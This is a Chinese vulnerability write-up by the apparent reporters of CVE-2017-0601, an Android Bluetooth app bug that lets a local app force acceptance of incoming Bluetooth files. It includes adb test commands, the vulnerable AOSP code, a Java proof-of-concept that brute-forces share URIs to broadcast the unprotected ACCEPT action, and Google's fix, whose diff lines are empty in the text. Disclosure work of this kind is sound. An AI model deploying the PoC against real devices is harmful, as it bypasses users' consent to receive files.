蓝牙App漏洞系列分析之一CVE-2017-0601

0x01 概要

2017年5月的 Android 安全公告修复了我们提交的一个蓝牙提权中危漏洞,这个漏洞尽管简单,但比较有意思,能够使本地恶意 App 绕过用户交互,使用户强制接收外部传入的蓝牙文件。漏洞概要如下:

  • CVE: CVE-2017-0601
  • BugID: A-35258579
  • 严重性: 中
  • 影响的 Google 设备: All
  • Updated AOSP versions: 7.0, 7.1.1, 7.1.2

0x02 漏洞分析

蓝牙App暴露了一个广播接收器 com.android.bluetooth.opp.BluetoothOppReceiver ,本地普通 App 可以向这个 Receiver 发送广播,查看其 OnReceive 方法,包含了对多种传入广播 Intent Action 的处理,但是大多数 Intent Action 处于保护状态,简单用 adb shell 可以一一对其测试,比如

```` adb shell am broadcast -a android.btopp.intent.action.OPEN

提示如下错误,说明action处于保护状态

Broadcasting: Intent { act=android.btopp.intent.action.OPEN } java.lang.SecurityException: Permission Denial: not allowed to send broadcast android.btopp.intent.action.OPEN from pid=26382, uid=2000 at android.os.Parcel.readException(Parcel.java:1683) at android.os.Parcel.readException(Parcel.java:1636) at android.app.ActivityManagerProxy.broadcastIntent(ActivityManagerNative.java:3507) at com.android.commands.am.Am.sendBroadcast(Am.java:772) at com.android.commands.am.Am.onRun(Am.java:404) at com.android.internal.os.BaseCommand.run(BaseCommand.java:51) at com.android.commands.am.Am.main(Am.java:121) at com.android.internal.os.RuntimeInit.nativeFinishInit(Native Method) at com.android.internal.os.RuntimeInit.main(RuntimeInit.java:262)

但是 `android.btopp.intent.action.ACCEPT` 这个 Intent Action ,却没有保护

adb shell am broadcast -a android.btopp.intent.action.ACCEPT

Broadcasting: Intent { act=android.btopp.intent.action.ACCEPT }Broadcast completed: result=0

进一步分析 AOSP 代码,发现传入这个 Action 的 Intent 时,会将 Intent 携带 Uri 指向的 db 进行更新,更新为用户确认状态。

else if (action.equals(Constants.ACTION_ACCEPT)) { if (V) Log.v(TAG, "Receiver ACTION_ACCEPT"); Uri uri = intent.getData(); ContentValues values = new ContentValues(); values.put(BluetoothShare.USER_CONFIRMATION,BluetoothShare.USER_CONFIRMATION_CONFIRMED); context.getContentResolver().update(uri, values, null, null); cancelNotification(context, uri);

这个 db 其实就是蓝牙文件共享的 provider ,对应的 uri 为 `content://con.android.bluetooth.opp/btopp` ,当通过蓝牙共享接收、发送文件时,该数据库都会增加新的条目,记录接收、发送的状态。该 provider 记录的信息可以参考 BluetoothShare 

/**

  • Exposes constants used to interact with the Bluetooth Share manager's content
  • provider.
  • @hide */

public final class BluetoothShare implements BaseColumns { private BluetoothShare() { }

/**
* The permission to access the Bluetooth Share Manager
*/
public static final String PERMISSION_ACCESS = "android.permission.ACCESS_BLUETOOTH_SHARE"; /**
* The content:// URI for the data table in the provider
*/
public static final Uri CONTENT_URI = Uri.parse("content://com.android.bluetooth.opp/btopp");
因此,如果我们在 Intent 中传入某个蓝牙共享对应文件的 uri ,那么它在蓝牙文件共享 Provider 中的状态就会被更改为用户确认状态。这里继续进行猜想,进一步,如果我们刚好通过蓝牙传入某个文件,将其状态改为用户确认,是否文件就无需确认,自动接收了呢?幸运的是,的确如此。

#### 0x03 漏洞利用

这里还有一个问题要解决,`content://com.android.bluetooth.opp/btopp` 只是整个 provider 的 uri ,我们如何知道刚刚通过蓝牙传入文件的 uri 呢?通过暴力穷举,下面的 PoC 简单地解决了这个问题,

public class MainActivity extends AppCompatActivity { Button m_btnAccept = null;

public static final String ACTION_ACCEPT = "android.btopp.intent.action.ACCEPT";
public static final String BLUETOOTH_SHARE_URI = "content://com.android.bluetooth.opp/btopp/"; @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main); m_btnAccept = (Button)findViewById(R.id.accept);
m_btnAccept.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.bluetooth",
"com.android.bluetooth.opp.BluetoothOppReceiver"));
intent.setAction(ACTION_ACCEPT);
// Guess the incoming bluetooth share uri, normally it increases from 1 by 1 and could be guessed easily.
// Then Send broadcast to change the incoming file status
for (int i = 0 ; i < 255; i++) {
String uriString = BLUETOOTH_SHARE_URI + Integer.toString(i);
intent.setData(Uri.parse(uriString));
sendBroadcast(intent);
}
}
});
}

}

#### 0x04 测试方法

通过蓝牙向测试手机发送文件,此时,手机将会出现提示,要用户拒绝或者接受,这个对话框将会出现约1分钟

![](https://images.seebug.org/content/images/2017/06/thumb-Mon_1705-4_1150978582736040_7fdbf1eb4b01373.png-w331s)

此时运行 POC ,文件将会自动接收,因此这是一个本地用户交互绕过。如果有恶意程序利用该漏洞一直在后台运行,那么手机将会被强制接收任意蓝牙传入的文件。

#### 0x05 修复

Google 在 Framework 的 AndroidManifest 文件中,将 `android.btopp.intent.action.ACCEPT` 和 DECLINE 设为保护状态,普通 App 无法发出携带这些 action 的 Intent 。

diff --git a/core/res/AndroidManifest.xml b/core/res/AndroidManifest.xml index ec712bb..011884c 100644 --- a/core/res/AndroidManifest.xml +++ b/core/res/AndroidManifest.xml

@@ -199,6 +199,8 @@

+ +

```

0x06时间线

    • 2017.02.09——提交Google
    • 2017.03.01——漏洞确认
    • 2017.05.01——补丁发布
    • 2017.05.04——漏洞公开

蓝牙App漏洞系列分析之一CVE-2017-0601的更多相关文章

  1. 蓝牙App漏洞系列分析之二CVE-2017-0639

    蓝牙App漏洞系列分析之二CVE-2017-0639 0x01 漏洞简介 Android本月的安全公告,修复了我们发现的另一个蓝牙App信息泄露漏洞,该漏洞允许攻击者获取 bluetooth用户所拥有 ...

  2. 蓝牙App漏洞系列分析之三CVE-2017-0645

    蓝牙App漏洞系列分析之三CVE-2017-0645 0x01 漏洞简介 Android 6月的安全公告,同时还修复了我们发现的一个蓝牙 App 提权中危漏洞,该漏洞允许手机本地无权限的恶意程序构造一 ...

  3. Struts2 漏洞系列之S2-001分析

    0x00 前言   最近在学习java的相关漏洞,所以Struts2的漏洞自然是绕不开的.为了更好的理解漏洞原理,计划把Struts2所有的漏洞自己都做一个复现.并且自己去实现相关的POC.相关的环境 ...

  4. 漏洞分析:CVE 2021-3156

    漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...

  5. 利用App漏洞获利2800多万元,企业该如何避免类似事件?

    上个月,上海警方抓捕了一个利用网上银行漏洞非法获利的犯罪团伙,该团伙利用银行App漏洞非法获利2800多万元. 据悉,该团伙使用技术软件成倍放大定期存单金额,从而非法获利.理财邦的一篇文章分析了犯罪嫌 ...

  6. 移动APP漏洞自动化检测平台建设

    移动APP漏洞自动化检测平台建设   前言:本文是<移动APP客户端安全笔记>系列原创文章中的第一篇,主要讲的是企业移动APP自动化漏洞检测平台建设,移动APP漏洞检测发展史与前沿技术,A ...

  7. APP漏洞扫描用地址空间随机化

    APP漏洞扫描用地址空间随机化 前言 我们在前文<APP漏洞扫描器之本地拒绝服务检测详解>了解到阿里聚安全漏洞扫描器有一项静态分析加动态模糊测试的方法来检测的功能,并详细的介绍了它在针对本 ...

  8. APP漏洞扫描器之本地拒绝服务检测详解

    APP漏洞扫描器之本地拒绝服务检测详解 阿里聚安全的Android应用漏洞扫描器有一个检测项是本地拒绝服务漏洞的检测,采用的是静态分析加动态模糊测试的方法来检测,检测结果准确全面.本文将讲一下应用漏洞 ...

  9. Heartbleed心脏出血漏洞原理分析

    Heartbleed心脏出血漏洞原理分析 2017年01月14日 18:14:25 阅读数:2718 1. 概述    OpenSSL在实现TLS和DTLS的心跳处理逻辑时,存在编码缺陷.OpenSS ...

随机推荐

  1. Java NIO学习笔记九 NIO与IO对比

    Java NIO与IO Java nio 和io 到底有什么区别,以及什么时候使用nio和io,本文做一个比较. Java NIO和IO之间的主要区别 下表总结了Java NIO和IO之间的主要区别, ...

  2. Hadoop、Hbase —— 服务启动、验证、停止

    一.Hadoop  1.启动Hadoop cd /usr/local/hadoop-2.7.3/sbin ./start-dfs.sh 启动过程如下: 2.验证Hadoop是否启动成功 2.1.在主节 ...

  3. Java数组(3):创建测试数据

    有时我们需要使用数组批量创建测试数据,接下来通过以下4点来举例. (1) 使用Arrays.fill()填充数据 (2) 使用Random类中JDK1.8提供的新方法用来生成随机数 (3) 一个随机数 ...

  4. 【JVM学习笔记】Class.forName方法学习

    三个参数的版本的源代码如下 doc文档翻译 使用给定的类加载器(即第3个参数)返回与具有给定字符串名称(第1个参数)的类或接口关联的Class对象.给定类或接口的完全限定名称(以getName返回的相 ...

  5. Spark在Windows上调试

    1. 背景 (1) spark的一般开发与运行流程是在本地Idea或Eclipse中写好对应的spark代码,然后打包部署至驱动节点,然后运行spark-submit.然而,当运行时异常,如空指针或数 ...

  6. linux中查找命令find、locate、whereis、which、type的区别

    find find是最常见和最强大的查找命令,你可以用它找到任何你想找的文件.与查询数据库(/var/lib/locatedb)文件不同,find查找的是磁盘空间. locate locate命令其实 ...

  7. 配置nova-compute在不同的hypervisors上使用不同的存储后端

    说明:主参考:https://www.sunmite.com/openstack/use-local-storage-for-different-hypervisors.html 在控制节点上执行 1 ...

  8. web代码审计题

    @题名:code i春秋https://www.ichunqiu.com/battalion wp:https://www.ichunqiu.com/writeup/detail/4139

  9. 第10课.c++的新成员

    1.动态内存分配 a.c++中通过new关键字进行动态内存申请 b.c++中的动态内存申请是基于类型进行的 c.delete关键字用于内存释放 2.new关键字与malloc函数的区别 a.new关键 ...

  10. POJ2411 Mondriaan's Dream 【状压dp】

    没错,这道题又是我从LZL里的博客里剽过来的,他的题真不错,真香. 题目链接:http://poj.org/problem?id=2411 题目大意:给一个n * m的矩形, 要求用 1 * 2的小方 ...